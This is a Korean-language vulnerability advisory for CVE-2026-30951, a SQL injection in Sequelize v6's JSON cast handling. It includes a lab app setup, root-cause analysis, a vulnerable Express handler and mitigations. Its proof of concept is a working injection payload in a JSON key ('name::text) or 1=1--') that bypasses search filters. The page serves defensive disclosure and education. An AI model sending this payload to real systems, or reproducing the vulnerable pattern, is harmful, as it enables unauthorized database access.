업데이트로 돌아가기
UpdatedSep 2, 2026

CVE-2026-30951 — Updated!

Sequelize JSON Cast SQL 인젝션

공유

CVE-2026-30951 Sequelize JSON Cast SQL Injection

★ CVE-2026-30951 Sequelize ORM SQL Injection PoC ★

https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381

개요

CVE-2026-30951은 널리 사용되는 Node.js ORM인 Sequelize v6SQL Injection 취약점입니다.

이 취약점은 JSON/JSONB where 절 처리 과정에 존재합니다. Sequelize가 ::를 포함하는 JSON 경로 키를 파싱할 때, :: 뒤의 값이 SQL cast 타입으로 처리되어 적절한 검증 없이 생성된 SQL에 삽입됩니다.

공격자가 Sequelize where 절에 전달되는 JSON 객체 키를 제어할 수 있다면, 생성되는 SQL 쿼리를 조작할 수 있습니다.

영향받는 버전

CategoryVersion
취약Sequelize v6.x <= 6.37.7
패치됨Sequelize 6.37.8
영향 없음Sequelize v7 / @sequelize/core

영향

  • 공격자가 제어하는 JSON 객체 키를 통한 SQL injection
  • boolean 기반 injection을 통한 검색 필터 우회
  • ORM이 생성한 SQL 내에서 의도하지 않은 쿼리 조건 조작

환경

이 저장소에는 취약한 최소 구성의 Node.js, Express, Sequelize, SQLite 챌린지 앱이 포함되어 있습니다.

로컬 실행

npm install
npm start

앱은 다음 주소에서 시작됩니다:

http://127.0.0.1:9100

Docker

docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln

Docker 컨테이너는 다음 주소에서 시작됩니다:

http://127.0.0.1:9100

PoC

취약한 환경을 시작한 후, 아래 단계에 따라 injection을 재현하십시오.

1단계. 정상 검색 요청 전송

POST /api/users/search
Content-Type: application/json

{
  "filter": {
    "name": "emma"
  }
}

이는 정상적인 이름 검색 로직과 일치하는 사용자만 반환합니다.

2단계. boolean 기반 SQL injection 트리거

POST /api/users/search
Content-Type: application/json

{
  "filter": {
    "name::text) or 1=1--": "emma"
  }
}

예상 결과:

모든 사용자 행이 반환됩니다.

3단계. SQL injection 발생 확인

조작된 JSON 키로 인해 Sequelize는 다음과 유사한 cast 표현식을 생성합니다:

CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)

cast 타입이 공격자에 의해 제어되므로, OR 1=1 조건이 의도된 WHERE 절 동작을 변경합니다. 동일한 검색 엔드포인트에서 모든 행이 반환되는 것은 SQL injection이 가능함을 확인해 줍니다.

분석

기술적 근본 원인

이 취약점은 Sequelize v6에서 JSON cast 타입에 대한 불충분한 검증으로 인해 발생합니다.

내부적으로 Sequelize의 JSON 순회 로직은 JSON 경로 키를 ::를 기준으로 분리합니다:

jsonKey::castType

그런 다음 cast 타입은 다음과 같이 생성된 SQL에서 사용됩니다:

CAST(<json_extract_expression> AS <cast_type>)

취약한 버전에서는 <cast_type>이 안전하게 이스케이프되거나 알려진 안전한 허용 목록으로 제한되지 않습니다. 이로 인해 공격자가 제어하는 JSON 키가 cast 표현식을 벗어나 SQL을 주입할 수 있습니다.

위험한 패턴

영향받는 Sequelize 버전을 사용할 때 다음과 유사한 애플리케이션 패턴은 취약할 수 있습니다:

app.post('/api/users/search', async (req, res) => {
  const users = await User.findAll({
    where: {
      metadata: req.body.filter
    }
  });

  res.json(users);
});

이는 공격자가 JSON 값뿐만 아니라 JSON 객체 키까지 제어하기 때문에 위험합니다.

이것이 중요한 이유

이 취약점은 많은 개발자가 ORM 쿼리 빌더가 SQL injection을 자동으로 방어한다고 가정하기 때문에 특히 위험합니다. 이 경우 injection은 애플리케이션이 이미 구조화된 JavaScript 객체를 Sequelize에 전달한 후, ORM이 생성한 SQL 내부에서 발생합니다.

애플리케이션 로직에 따라, 악용을 통해 다음이 가능할 수 있습니다:

  • 의도된 검색 필터 우회
  • boolean 쿼리 조건 변경
  • ORM이 생성한 SQL의 동작 변경

이는 근본적으로 CWE-89: SQL 명령에 사용되는 특수 요소의 부적절한 중화 문제입니다.

시나리오

+-------------------------------------------+
|                  공격자                    |
+-------------------------------------------+
                      |
                      | 악성 name:: 키를 포함한
                      | 조작된 JSON 필터 전송
                      v
+-------------------------------------------+
|        POST /api/users/search             |
+-------------------------------------------+
                      |
                      | Sequelize JSON where 절이
                      | ::를 포함한 키를 처리
                      v
+-------------------------------------------+
|     이스케이프되지 않은 SQL cast 타입 주입   |
+-------------------------------------------+
                      |
                      | Boolean 조건 조작
                      v
+-------------------------------------------+
|          SQL Injection 확인됨              |
+-------------------------------------------+

완화 방안

  • Sequelize를 6.37.8 이상으로 업그레이드
  • 사용자가 제어하는 객체를 Sequelize JSON/JSONB where 절에 직접 전달하지 마십시오
  • ORM 필터를 구성하기 전에 사용자가 제어하는 JSON 키를 거부하거나 정규화하십시오
  • 임의의 요청 본문 객체를 허용하는 대신 화이트리스트 기반 필터 구성을 사용하십시오
  • 명시적으로 필요한 경우가 아니라면 SQL 제어 구문이나 ::와 같은 cast 구분자를 포함하는 JSON 키를 거부하십시오
  • 서버에서 정의한 쿼리 필드를 선호하십시오. 예:
const allowedFilters = ['name', 'role', 'team', 'office', 'department'];

if (!allowedFilters.includes(req.body.field)) {
  throw new Error('Invalid filter field');
}

면책 조항

이 저장소는 통제된 환경에서의 보안 연구, 방어적 검증, 교육적 사용만을 목적으로 합니다.

소유하지 않았거나 명시적인 테스트 허가를 받지 않은 시스템에 이 PoC를 사용하지 마십시오.

EQST Insight

We publish CVE and malware analysis once a month. If you're interested, please follow the links below to check out our publications.

참고 자료

카테고리